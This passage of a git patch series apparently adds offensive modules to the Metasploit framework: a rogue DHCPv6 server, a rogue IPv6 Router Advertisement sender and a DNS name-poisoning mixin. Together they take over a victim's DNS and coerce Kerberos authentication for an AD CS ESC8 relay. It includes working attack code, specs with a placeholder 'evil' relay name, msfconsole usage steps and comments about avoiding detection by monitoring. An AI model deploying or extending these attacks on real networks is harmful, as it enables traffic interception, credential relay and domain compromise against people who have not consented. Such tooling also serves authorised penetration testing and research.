mod.datastore['SPOOF_IP6'] = 'dead:beef::53' + mod.service = dns_service + end + + def query_bytes(name, type) + Dnsruby::Message.new(name, type).encode + end + + def captured_response + captured = nil + allow(dns_service).to receive(:send_response) { |_cli, data| captured = data } + yield + Rex::Proto::DNS::Packet.encode_drb(captured) + end + + describe '#on_dispatch_request' do + it 'poisons an in-scope AAAA query with the spoof address' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + aaaa = resp.answer.find { |rr| rr.type == 'AAAA' } + expect(aaaa).not_to be_nil + expect(aaaa.address.to_s.downcase).to eq('dead:beef::53') + expect(resp.header.qr).to be(true) + end + + it 'poisons arbitrary subdomains under the target domain (wildcard)' do + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('anything.sub.kerberos.issue', 'AAAA')) } + expect(resp.answer.any? { |rr| rr.type == 'AAAA' }).to be(true) + end + + it 'answers with a CNAME when RELAY_CNAME is set' do + mod.datastore['RELAY_CNAME'] = 'evil.kerberos.issue' + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + cname = resp.answer.find { |rr| rr.type == 'CNAME' } + expect(cname).not_to be_nil + expect(cname.domainname.to_s.chomp('.')).to eq('evil.kerberos.issue') + end + + it 'only poisons the listed hosts when TARGET_HOSTS is set' do + mod.datastore['TARGET_HOSTS'] = 'dc1.kerberos.issue' + allow(dns_service).to receive(:default_dispatch_request) + + resp = captured_response { mod.on_dispatch_request(cli, query_bytes('dc1.kerberos.issue', 'AAAA')) } + expect(resp.answer.any? { |rr| rr.type == 'AAAA' }).to be(true) + + # A different in-domain host is out of scope now, so it is forwarded. + expect(dns_service).to receive(:default_dispatch_request) + mod.on_dispatch_request(cli, query_bytes('other.kerberos.issue', 'AAAA')) + end + + it 'forwards out-of-scope queries to the default handler instead of poisoning' do + expect(dns_service).to receive(:default_dispatch_request).with(cli, kind_of(String)) + expect(dns_service).not_to receive(:send_response) + mod.on_dispatch_request(cli, query_bytes('www.example.com', 'AAAA')) + end + end + + describe '#run validation' do + it 'rejects a non-IPv6 SPOOF_IP6' do + mod.datastore['SPOOF_IP6'] = '10.0.0.1' + expect { mod.run }.to raise_error(Msf::Auxiliary::Failed, /SPOOF_IP6 must be a valid IPv6/) + end + end +end From 3666c7556152ba9dbe9542b95dc8a276cc2c9cfe Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 17 Jul 2026 00:06:44 +0530 Subject: [PATCH 02/11] Fix DHCPv6 rogue server multicast join and reply addressing Two defects found while validating the rogue DHCPv6 server against a live client on the lab network: - The multicast group join packed the interface index in network byte order, so on little-endian hosts the kernel joined on interface 0 and the server never received the multicast Solicit. Pack it in native byte order to match struct ipv6_mreq. - The client address was read assuming recvfrom always returns an address array, but older rex-socket versions return the host string directly, so the reply went to a malformed destination. Handle both shapes. With these fixes a cross-host Solicit is answered with an Advertise addressed correctly to the client on udp/546, handing out the attacker as the DNS server. --- lib/rex/proto/dhcpv6/server.rb | 10 ++++++++-- 1 file changed, 8 insertions(+), 2 deletions(-) diff --git a/lib/rex/proto/dhcpv6/server.rb b/lib/rex/proto/dhcpv6/server.rb index 90bf3621223d1..3580929ca3842 100644 --- a/lib/rex/proto/dhcpv6/server.rb +++ b/lib/rex/proto/dhcpv6/server.rb @@ -116,7 +116,10 @@ def monitor_socket buf, addr = sock.recvfrom(65535) next if buf.nil? || buf.empty? - client_host = addr[3] + # recvfrom's sender info has varied across rex-socket versions: newer + # returns [af, port, host, host], older returns the host string + # directly. Handle both so the reply reaches the real client. + client_host = addr.is_a?(::Array) ? addr[3] : addr result = handle_request(buf) next if result.nil? @@ -133,7 +136,10 @@ def monitor_socket def join_multicast_group group = Rex::Socket.addr_aton(Constants::ALL_DHCP_RELAY_AGENTS_AND_SERVERS) ifindex = interface_index - sock.setsockopt(::Socket::IPPROTO_IPV6, ipv6_join_group_opt, group + [ifindex].pack('N')) + # struct ipv6_mreq = 16-byte multicast address + native-order interface + # index; the index must be packed in the host's byte order, not network + # order, or the kernel joins on the wrong (usually zero) interface. + sock.setsockopt(::Socket::IPPROTO_IPV6, ipv6_join_group_opt, group + [ifindex].pack('L')) rescue StandardError => e elog('Failed to join DHCPv6 multicast group', error: e) end From a1ec17c9a9099104aa082ea6bad64ae199a25bd9 Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 17 Jul 2026 13:26:09 +0530 Subject: [PATCH 03/11] Extract shared DNS name-poisoning mixin Move the selective DNS poisoning behaviour out of the DHCPv6 DNS takeover module into a reusable DNS::NamePoisoner mixin (TARGET_DOMAIN, TARGET_HOSTS, SPOOF_IP6, RELAY_CNAME plus the on_dispatch_request poison/forward logic and the IPv6 validation helper), so the upcoming Router Advertisement takeover module can share the exact same coercion behaviour instead of duplicating it. The DHCPv6 module now just includes the mixin and keeps its DHCPv6-specific options and server wiring. No behaviour change; its spec is unchanged and green. --- .../core/exploit/remote/dns/name_poisoner.rb | 113 ++++++++++++++++++ .../spoof/dhcp/dhcpv6_dns_takeover.rb | 82 +------------ 2 files changed, 116 insertions(+), 79 deletions(-) create mode 100644 lib/msf/core/exploit/remote/dns/name_poisoner.rb diff --git a/lib/msf/core/exploit/remote/dns/name_poisoner.rb b/lib/msf/core/exploit/remote/dns/name_poisoner.rb new file mode 100644 index 0000000000000..d3ea03bb3c564 --- /dev/null +++ b/lib/msf/core/exploit/remote/dns/name_poisoner.rb @@ -0,0 +1,113 @@ +# -*- coding: binary -*- + +module Msf + +### +# +# This mixin adds selective DNS name poisoning on top of Exploit::Remote::DNS::Server. +# +# A module that also includes DNS::Server can mix this in to answer lookups for +# names under a target scope with the attacker's address (or a CNAME), while +# transparently forwarding every out-of-scope query so the victim stays +# functional. It is the shared coercion behaviour behind the IPv6 DNS-takeover +# modules (rogue DHCPv6 and rogue Router Advertisement), paired with a Kerberos +# relay target such as ESC8 AD CS web enrollment (CVE-2026-20929). +# +### +module Exploit::Remote::DNS +module NamePoisoner + + def initialize(info = {}) + super + + register_options( + [ + OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), + OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), + OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), + OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ]) + ], Exploit::Remote::DNS::NamePoisoner + ) + end + + # Poison lookups that fall under the target scope; forward everything else so + # the victim keeps working (and so we do not tip off monitoring by breaking + # unrelated name resolution). + def on_dispatch_request(cli, data) + return if data.strip.empty? + + req = Rex::Proto::DNS::Packet.encode_drb(data) + peer = "#{cli.peerhost}:#{cli.peerport}" + + poisoned = false + req.question.each do |question| + answers = poison_answers_for(question) + next if answers.empty? + + answers.each { |rr| req.add_answer(rr) } + poisoned = true + print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}") + end + + unless poisoned + # Not in scope: fall back to the default cache/forward behaviour. + return service.default_dispatch_request(cli, data) + end + + req.header.qr = true + req.header.ra = true + service.send_response(cli, Rex::Proto::DNS::Packet.validate(req).encode) + end + + # Human-readable description of what poisoned names resolve to. + def poison_description + datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6'] + end + + # Fail the module unless +address+ is a valid IPv6 address. + def validate_ipv6!(address, name) + return if Rex::Socket.is_ipv6?(address.to_s) + + fail_with(Msf::Module::Failure::BadConfig, "#{name} must be a valid IPv6 address") + end + + private + + def poison_answers_for(question) + name = question.qname.to_s.chomp('.').downcase + return [] unless in_scope?(name) + + qtype = question.qtype.to_s + if datastore['RELAY_CNAME'].present? + # Steer the victim onto a name whose SPN the attacker will relay for. + return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")] + end + + case qtype + when 'AAAA' + [Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])] + when 'A' + # Only answer A records if an IPv4 spoof address is meaningful; otherwise + # returning nothing lets the client prefer the AAAA answer we control. + Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : [] + else + [] + end + end + + def in_scope?(name) + if datastore['TARGET_HOSTS'].present? + target_hosts.include?(name) + else + domain = datastore['TARGET_DOMAIN'].downcase.chomp('.') + name == domain || name.end_with?(".#{domain}") + end + end + + def target_hosts + @target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?) + end + +end +end +end diff --git a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb index 887d8f41e62ba..86d56d68437de 100644 --- a/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb +++ b/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::DNS::Client include Msf::Exploit::Remote::DNS::Server + include Msf::Exploit::Remote::DNS::NamePoisoner include Msf::Auxiliary::Report def initialize(info = {}) @@ -51,12 +52,10 @@ def initialize(info = {}) ) ) + # TARGET_DOMAIN, TARGET_HOSTS, SPOOF_IP6 and RELAY_CNAME come from the shared + # DNS::NamePoisoner mixin. register_options( [ - OptString.new('TARGET_DOMAIN', [ true, 'The DNS domain to intercept; names under it are poisoned (e.g. ad.example.com).' ]), - OptString.new('TARGET_HOSTS', [ false, 'Specific FQDNs to poison (space or semicolon separated). If empty, all names under TARGET_DOMAIN are poisoned.' ]), - OptString.new('SPOOF_IP6', [ true, 'The attacker IPv6 address handed out as the DNS server and returned for poisoned names.' ]), - OptString.new('RELAY_CNAME', [ false, 'If set, poisoned names are answered with a CNAME to this name (the DNS-CNAME Kerberos relay trick) instead of a direct address.' ]), OptString.new('LEASE_IP6', [ false, 'IPv6 address to lease to clients making stateful (IA_NA) requests.' ]), OptString.new('DHCPV6_INTERFACE', [ false, 'Network interface to bind the DHCPv6 server and join the multicast group on.' ]) ] @@ -84,73 +83,8 @@ def cleanup @dhcpv6_server = nil end - # Poison lookups that fall under the target scope; forward everything else so - # the victim keeps working (and so we do not tip off monitoring by breaking - # unrelated name resolution). - def on_dispatch_request(cli, data) - return if data.strip.empty? - - req = Packet.encode_drb(data) - peer = "#{cli.peerhost}:#{cli.peerport}" - - poisoned = false - req.question.each do |question| - answers = poison_answers_for(question) - next if answers.empty? - - answers.each { |rr| req.add_answer(rr) } - poisoned = true - print_good("Poisoned #{question.qname} (#{question.qtype}) for #{peer} -> #{poison_description}") - end - - unless poisoned - # Not in scope: fall back to the default cache/forward behaviour. - return service.default_dispatch_request(cli, data) - end - - req.header.qr = true - req.header.ra = true - service.send_response(cli, Packet.validate(req).encode) - end - private - def poison_answers_for(question) - name = question.qname.to_s.chomp('.').downcase - return [] unless in_scope?(name) - - qtype = question.qtype.to_s - if datastore['RELAY_CNAME'].present? - # Steer the victim onto a name whose SPN the attacker will relay for. - return [Dnsruby::RR.create(name: "#{name}.", type: 'CNAME', domainname: "#{datastore['RELAY_CNAME'].chomp('.')}.")] - end - - case qtype - when 'AAAA' - [Dnsruby::RR.create(name: "#{name}.", type: 'AAAA', address: datastore['SPOOF_IP6'])] - when 'A' - # Only answer A records if an IPv4 spoof address is meaningful; otherwise - # returning nothing lets the client prefer the AAAA answer we control. - srvhost = datastore['SRVHOST'] - Rex::Socket.is_ipv4?(srvhost) ? [Dnsruby::RR.create(name: "#{name}.", type: 'A', address: srvhost)] : [] - else - [] - end - end - - def in_scope?(name) - if datastore['TARGET_HOSTS'].present? - target_hosts.include?(name) - else - domain = datastore['TARGET_DOMAIN'].downcase.chomp('.') - name == domain || name.end_with?(".#{domain}") - end - end - - def target_hosts - @target_hosts ||= datastore['TARGET_HOSTS'].split(/[\s;]+/).map { |h| h.strip.chomp('.').downcase }.reject(&:empty?) - end - def start_dhcpv6_server @dhcpv6_server = Rex::Proto::DHCPv6::Server.new( dns_servers: [datastore['SPOOF_IP6']], @@ -165,19 +99,9 @@ def start_dhcpv6_server @dhcpv6_server.start end - def poison_description - datastore['RELAY_CNAME'].present? ? "CNAME #{datastore['RELAY_CNAME']}" : datastore['SPOOF_IP6'] - end - def dhcpv6_message_name(msg_type) Rex::Proto::DHCPv6::Constants::MessageType.constants.find do |c| Rex::Proto::DHCPv6::Constants::MessageType.const_get(c) == msg_type end || msg_type end - - def validate_ipv6!(address, name) - return if Rex::Socket.is_ipv6?(address.to_s) - - fail_with(Failure::BadConfig, "#{name} must be a valid IPv6 address") - end end From b4d963af480a23c4c4011edb643dd3c597f5c41b Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Thu, 23 Jul 2026 15:19:36 +0530 Subject: [PATCH 04/11] Document dhcpv6_dns_takeover module --- .../spoof/dhcp/dhcpv6_dns_takeover.md | 97 +++++++++++++++++++ 1 file changed, 97 insertions(+) create mode 100644 documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md diff --git a/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md b/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md new file mode 100644 index 0000000000000..2cebd96a832d7 --- /dev/null +++ b/documentation/modules/auxiliary/spoof/dhcp/dhcpv6_dns_takeover.md @@ -0,0 +1,97 @@ +## Vulnerable Application + +This module runs a rogue DHCPv6 server that hands the attacker to IPv6 clients +as their DNS server (the classic mitm6 primitive), together with a paired DNS +server that poisons names under a target domain to point at the attacker while +transparently forwarding every other lookup so the victim stays functional. + +Windows prefers IPv6 over IPv4 and, by default, sends periodic DHCPv6 solicits. +By answering those solicits and advertising the attacker as the client's DNS +server, the module intercepts the victim's name resolution even on an IPv4-only +network. Once the victim resolves a target service through the attacker it can +be coerced into authenticating to the attacker. + +Paired with a Kerberos relay target such as `auxiliary/server/relay/esc8_kerberos`, +this is the native coercion half of the Kerberos relay via DNS technique +(CVE-2026-20929), removing the dependency on external tooling such as mitm6. Set +`RELAY_CNAME` to steer the victim onto a name whose SPN the relay module will +present to the CA. + +This module requires root/administrator privileges to bind the DHCPv6 port +(UDP/547) and join the DHCPv6 multicast group, and Layer 2 adjacency to the +victim. + +## Verification Steps + +1. Start `msfconsole` as root +1. Do: `use auxiliary/spoof/dhcp/dhcpv6_dns_takeover` +1. Set `TARGET_DOMAIN` to the domain whose names you want to intercept +1. Set `SPOOF_IP6` to the attacker's IPv6 address +1. Do: `run` +1. Observe DHCPv6 solicits being answered and in-scope DNS queries being poisoned + +## Options + +### TARGET_DOMAIN + +The DNS domain to intercept. Names at or under this domain are poisoned; every +other lookup is transparently forwarded. Required. + +### TARGET_HOSTS + +An optional space or semicolon separated list of specific FQDNs to poison. When +set, only these exact names are poisoned and all other names (including other +names under `TARGET_DOMAIN`) are forwarded. + +### SPOOF_IP6 + +The attacker's IPv6 address. It is handed to clients as their DNS server and is +returned as the `AAAA` answer for poisoned names. Required. + +### RELAY_CNAME + +If set, poisoned names are answered with a `CNAME` to this name instead of a +direct address. This is the DNS-CNAME trick used for Kerberos relay: the victim +follows the CNAME to a name whose SPN the relay module presents to the target, +while the Kerberos ticket is still issued for the original service. + +### LEASE_IP6 + +An optional IPv6 address to lease to clients that make a stateful (IA_NA) +request. Not required for DNS takeover. + +### DHCPV6_INTERFACE + +The network interface to bind the DHCPv6 server and join the multicast group on. +Defaults to the primary interface. + +## Scenarios + +### mitm6-style DNS takeover feeding a Kerberos ESC8 relay + +Terminal 1 - start the coercion: + +``` +msf > use auxiliary/spoof/dhcp/dhcpv6_dns_takeover +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set TARGET_DOMAIN ad.example.com +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set SPOOF_IP6 dead:beef::5 +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > set RELAY_CNAME attacker.ad.example.com +msf auxiliary(spoof/dhcp/dhcpv6_dns_takeover) > run +[*] DNS server started, poisoning names under ad.example.com -> CNAME attacker.ad.example.com +[*] DHCPv6 server started, advertising dead:beef::5 as the DNS server +[*] DHCPv6 SOLICIT from fe80::... answered with DNS dead:beef::5 +[+] Poisoned ca.ad.example.com (AAAA) for fe80::... -> CNAME attacker.ad.example.com +``` + +Terminal 2 - run the Kerberos ESC8 relay so the coerced authentication is +relayed to the CA (see `auxiliary/server/relay/esc8_kerberos`). + +## Notes + +* Requires root/administrator and Layer 2 adjacency; DHCPv6 messages are not + routable. +* This is the DHCPv6 coercion primitive. `auxiliary/spoof/ipv6/ipv6_ra_dns_takeover` + is the Router Advertisement (RDNSS) equivalent; use whichever the target + network responds to. +* Out-of-scope lookups are forwarded unchanged, so the victim keeps working and + monitoring is less likely to notice broken name resolution. From 593c1b4b011288d69f98d1b8665964e92a28e87d Mon Sep 17 00:00:00 2001 From: enp7s0d <75983347+Pushpenderrathore@users.noreply.github.com> Date: Fri, 17 Jul 2026 13:26:20 +0530 Subject: [PATCH 05/11] Add rogue IPv6 RA + RDNSS DNS-takeover coercion Add the Router Advertisement equivalent of the mitm6 DHCPv6 DNS takeover, a second native coercion primitive for the Kerberos relay via DNS technique (CVE-2026-20929) with no external tooling dependency. The Ipv6 mixin gains RFC 8106 builders: ipv6_build_rdnss_option (Recursive DNS Server option), ipv6_build_dnssl_search_option (DNS search list), and ipv6_build_ra_dns_packet, which assembles an ICMPv6 RA advertising the attacker as the IPv6 resolver. Router lifetime defaults to 0 so routing is untouched and only DNS is taken over; the existing DNSSL command-injection builder is left intact. The new auxiliary/spoof/ipv6/ipv6_ra_dns_takeover module multicasts these RAs on an interval while the shared DNS::NamePoisoner server poisons names under the target domain and forwards everything else, keeping the victim functional. Adds 20 specs for the RDNSS/DNSSL/RA builders and the module wiring; loads clean in msfconsole, rubocop and msftidy clean. --- lib/msf/core/exploit/remote/ipv6.rb | 68 +++++++++ .../spoof/ipv6/ipv6_ra_dns_takeover.rb | 140 ++++++++++++++++++ spec/lib/msf/core/exploit/remote/ipv6_spec.rb | 92 ++++++++++++ .../spoof/ipv6/ipv6_ra_dns_takeover_spec.rb | 54 +++++++ 4 files changed, 354 insertions(+) create mode 100644 modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb create mode 100644 spec/lib/msf/core/exploit/remote/ipv6_spec.rb create mode 100644 spec/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover_spec.rb diff --git a/lib/msf/core/exploit/remote/ipv6.rb b/lib/msf/core/exploit/remote/ipv6.rb index d4d58444f6cc9..0757dbbf3d01c 100644 --- a/lib/msf/core/exploit/remote/ipv6.rb +++ b/lib/msf/core/exploit/remote/ipv6.rb @@ -352,6 +352,74 @@ def ipv6_build_dnssl_option(cmd, lifetime = 0xFFFFFFFF) [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data end + # Build a Recursive DNS Server (RDNSS) option (https://www.rfc-editor.org/rfc/rfc8106#section-5.1). + # This is the option that lets a rogue Router Advertisement hand the attacker to + # IPv6 clients as their recursive resolver (the RA-based equivalent of the mitm6 + # DHCPv6 DNS takeover). +dns_servers+ is one or more IPv6 addresses. + def ipv6_build_rdnss_option(dns_servers, lifetime = 0xFFFFFFFF) + servers = Array(dns_servers) + raise ArgumentError, 'at least one DNS server is required' if servers.empty? + + addresses = servers.map { |addr| IPAddr.new(addr).hton }.join + # Length is in units of 8 octets: 1 unit for the 8-byte header plus 2 units per address. + length_units = 1 + (2 * servers.length) + + [25, length_units, 0].pack('CCn') + [lifetime].pack('N') + addresses + end + + # Build a DNS Search List (DNSSL) option carrying real search domains + # (https://www.rfc-editor.org/rfc/rfc8106#section-5.2). Unlike + # ipv6_build_dnssl_option, this does not wrap a command payload; it simply + # advertises the given domains so the client appends them when resolving short + # names, which helps steer it onto poisoned FQDNs. + def ipv6_build_dnssl_search_option(domains, lifetime = 0xFFFFFFFF) + data = Array(domains).map { |domain| ipv6_encode_domain(domain) }.join + + # Pad to an 8-byte boundary (the option header is 8 bytes). + pad_len = -data.length % 8 + data << ("\x00" * pad_len) + + length_units = (8 + data.length) / 8 + + [31, length_units, 0].pack('CCn') + [lifetime].pack('N') + data + end + + # Build a complete Router Advertisement that advertises the attacker as the + # recursive DNS server via an RDNSS option (and optional DNSSL search list). + # + # By default router_lifetime is 0, so the client does not adopt us as its + # default gateway (a DNS-only takeover that keeps routing untouched and stays + # closer to mitm6's stealth). Raise router_lifetime to also become a router. + def ipv6_build_ra_dns_packet(smac, dns_servers, shost: 'fe80::1', domains: [], router_lifetime: 0, dns_lifetime: 0xFFFFFFFF) + type = 134 # Router Advertisement + code = 0 + checksum = 0 + cur_hop_limit = 64 + flags = 0x08 # Router Preference = Medium; M/O DHCPv6 flags left clear (RDNSS carries the DNS info) + reachable_time = 0 + retrans_timer = 0 + + ra_payload = [type, code, checksum, cur_hop_limit, flags, router_lifetime, reachable_time, retrans_timer].pack('CCnCCnNN') + ra_payload << ipv6_build_slla_option(smac) + ra_payload << ipv6_build_rdnss_option(dns_servers, dns_lifetime) + ra_payload << ipv6_build_dnssl_search_option(domains, dns_lifetime) unless Array(domains).empty? + + p = PacketFu::IPv6Packet.new + p.eth_saddr = smac + p.eth_daddr = '33:33:00:00:00:01' # All-nodes multicast (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) + p.ipv6_saddr = shost # Must be a link-local address (https://datatracker.ietf.org/doc/html/rfc4861#section-4.2) + p.ipv6_daddr = 'ff02::1' # All-nodes multicast address (https://datatracker.ietf.org/doc/html/rfc4291#section-2.7.1) + p.ipv6_hop = 255 + p.ipv6_next = 0x3a # ICMPv6 + + p.payload = ra_payload + p.ipv6_len = ra_payload.length + + ipv6_checksum!(p) + + p + end + # Build Source Link-Layer Address option (https://www.rfc-editor.org/rfc/rfc4861) def ipv6_build_slla_option(mac) mac_bytes = mac.split(':').map { |x| x.to_i(16) }.pack('C6') diff --git a/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb b/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb new file mode 100644 index 0000000000000..07828d7603494 --- /dev/null +++ b/modules/auxiliary/spoof/ipv6/ipv6_ra_dns_takeover.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Capture + include Msf::Exploit::Remote::Ipv6 + include Msf::Exploit::Remote::DNS::Client + include Msf::Exploit::Remote::DNS::Server + include Msf::Exploit::Remote::DNS::NamePoisoner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'IPv6 Router Advertisement DNS Takeover (RDNSS IPv6 DNS coercion)', + 'Description' => %q{ + This module runs a rogue IPv6 router that advertises the attacker as the + recursive DNS server (RDNSS, RFC 8106) inside periodic Router + Advertisements, and a paired DNS server that poisons names under a target + domain to point at the attacker while transparently forwarding all other + lookups so the victim stays functional. + + It is the Router Advertisement equivalent of the mitm6 DHCPv6 DNS + takeover: instead of answering DHCPv6 Solicits, it multicasts RAs + carrying an RDNSS option, which modern Windows (and other RFC 8106 + clients) adopt as their IPv6 resolver. By default the RA does not claim + to be a default router (router lifetime 0), so routing is left untouched + and only DNS is taken over. + + Once a client resolves a target service through the attacker, it can be + coerced into authenticating to the attacker. Paired with a Kerberos relay + target (for example ESC8 AD CS web enrollment), this is a native coercion + half of the Kerberos relay via DNS technique (CVE-2026-20929), removing + the dependency on external tooling such as mitm6. + + IPv6 is preferred by Windows over IPv4, so becoming the client's IPv6 DNS + server is enough to intercept its name resolution even on IPv4 networks. + Layer 2 adjacency (same segment) and root privileges to inject raw + packets are required. + }, + 'Author' => [ + 'Pushpender Rathore' # native RA/RDNSS + DNS coercion + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2026-20929'], + ['URL', 'https://www.rfc-editor.org/rfc/rfc8106'], + ['URL', 'https://github.com/dirkjanm/mitm6'], + ['ATT&CK', Mitre::Attack::Technique::T1557_ADVERSARY_IN_THE_MIDDLE] + ], + 'Actions' => [ + [ 'Service', { 'Description' => 'Run the RA/RDNSS and DNS takeover services' } ] + ], + 'PassiveActions' => [ 'Service' ], + 'DefaultAction' => 'Service', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + # TARGET_DOMAIN, TARGET_HOSTS, SPOOF_IP6 and RELAY_CNAME come from the shared + # DNS::NamePoisoner mixin; INTERFACE/SMAC/SHOST come from the Ipv6 mixin. + register_options( + [ + OptInt.new('RA_INTERVAL', [ true, 'Seconds between unsolicited Router Advertisements.', 30 ]), + OptBool.new('ADVERTISE_SEARCH_DOMAIN', [ true, 'Advertise TARGET_DOMAIN as a DNS search list (DNSSL) to steer short-name resolution.', true ]), + OptBool.new('BECOME_ROUTER', [ true, 'Also advertise as the default router (router lifetime > 0). Off by default for a DNS-only takeover.', false ]) + ] + ) + end + + def run + validate_ipv6!(datastore['SPOOF_IP6'], 'SPOOF_IP6') + check_pcaprub_loaded + + start_service + print_status("DNS server started, poisoning names under #{datastore['TARGET_DOMAIN']} -> #{poison_description}") + + start_ra_advertiser + print_status("Advertising #{datastore['SPOOF_IP6']} as the IPv6 DNS server via Router Advertisements every #{datastore['RA_INTERVAL']}s") + + service.wait if service + rescue Rex::BindFailed => e + print_error("Failed to bind the DNS service socket: #{e.message}") + end + + def cleanup + super + @ra_thread&.kill + @ra_thread = nil + close_pcap if @ra_pcap_open + @ra_pcap_open = false + end + + private + + def start_ra_advertiser + interface = datastore['INTERFACE'] || ipv6_interface + + smac = datastore['SMAC'].presence || begin + get_mac(interface) + rescue StandardError => e + fail_with(Failure::BadConfig, "Cannot get MAC address for interface #{interface}: #{e}") + end + + shost = datastore['SHOST'].presence || ipv6_link_address('INTERFACE' => interface) + fail_with(Failure::BadConfig, "Could not determine a link-local source address for #{interface}; set SHOST") if shost.to_s.empty? + + domains = datastore['ADVERTISE_SEARCH_DOMAIN'] ? [datastore['TARGET_DOMAIN']] : [] + router_lifetime = datastore['BECOME_ROUTER'] ? 1800 : 0 + + pkt = ipv6_build_ra_dns_packet( + smac, + [datastore['SPOOF_IP6']], + shost: shost, + domains: domains, + router_lifetime: router_lifetime + ) + + begin + open_pcap('INTERFACE' => interface, 'ARPCAP' => false) + rescue StandardError => e + fail_with(Failure::BadConfig, "Cannot open pcap on interface #{interface}: #{e}") + end + @ra_pcap_open = true + + @ra_thread = framework.threads.spawn('IPv6-RA-Advertiser', false) do + loop do + inject(pkt.to_s) + Rex.sleep(datastore['RA_INTERVAL'].to_i) + end + end + end +end diff --git a/spec/lib/msf/core/exploit/remote/ipv6_spec.rb b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb new file mode 100644 index 0000000000000..2980c7d7d7f22 --- /dev/null +++ b/spec/lib/msf/core/exploit/remote/ipv6_spec.rb @@ -0,0 +1,92 @@ +require 'spec_helper' + +RSpec.describe Msf::Exploit::Remote::Ipv6 do + # The packet builders under test are pure, so allocate an includer without + # running the mixin's pcaprub-dependent initialize. + subject(:mod) do + Class.new { include Msf::Exploit::Remote::Ipv6 }.allocate + end + + describe '#ipv6_build_rdnss_option' do + it 'encodes a single DNS server as an RFC 8106 RDNSS option' do + opt = mod.ipv6_build_rdnss_option('dead:beef::53') + + type, length, reserved = opt[0, 4].unpack('CCn') + lifetime = opt[4, 4].unpack1('N') + + expect(type).to eq(25) + expect(length).to eq(3) # 1 header unit + 2 units for one 16-byte address + expect(reserved).to eq(0) + expect(lifetime).to eq(0xFFFFFFFF) + expect(opt.length).to eq(length * 8) + expect(opt[8, 16]).to eq(IPAddr.new('dead:beef::53').hton) + end + + it 'encodes multiple DNS servers and sizes the option accordingly' do + opt = mod.ipv6_build_rdnss_option(['dead:beef::53', 'dead:beef::54'], 600) + + length = opt[1].unpack1('C') + expect(length).to eq(5) # 1 + 2 * 2 addresses + expect(opt[4, 4].unpack1('N')).to eq(600) + expect(opt[8, 16]).to eq(IPAddr.new('dead:beef::53').hton) + expect(opt[24, 16]).to eq(IPAddr.new('dead:beef::54').hton) + end + + it 'rejects an empty server list' do + expect { mod.ipv6_build_rdnss_option([]) }.to raise_error(ArgumentError) + end + end + + describe '#ipv6_build_dnssl_search_option' do + it 'encodes search domains DNS-label-encoded and 8-octet aligned' do + opt = mod.ipv6_build_dnssl_search_option(['kerberos.issue']) + + type, length = opt[0, 2].unpack('CC') + expect(type).to eq(31) + expect(opt.length).to eq(length * 8) + expect(opt.length % 8).to eq(0) + # DNS label encoding of kerberos.issue + expect(opt[8..]).to start_with("\x08kerberos\x05issue\x00".b) + end + end + + describe '#ipv6_build_ra_dns_packet' do + let(:smac) { '00:11:22:33:44:55' } + let(:packet) do + mod.ipv6_build_ra_dns_packet( + smac, + ['dead:beef::53'], + shost: 'fe80::1', + domains: ['kerberos.issue'] + ) + end + + it 'builds an ICMPv6 Router Advertisement to the all-nodes multicast group' do + expect(packet.ipv6_daddr).to eq('ff02::1') + expect(packet.ipv6_saddr).to eq('fe80::1') + expect(packet.ipv6_next).to eq(0x3a) # ICMPv6 + expect(packet.payload[0].unpack1('C')).to eq(134) # RA type 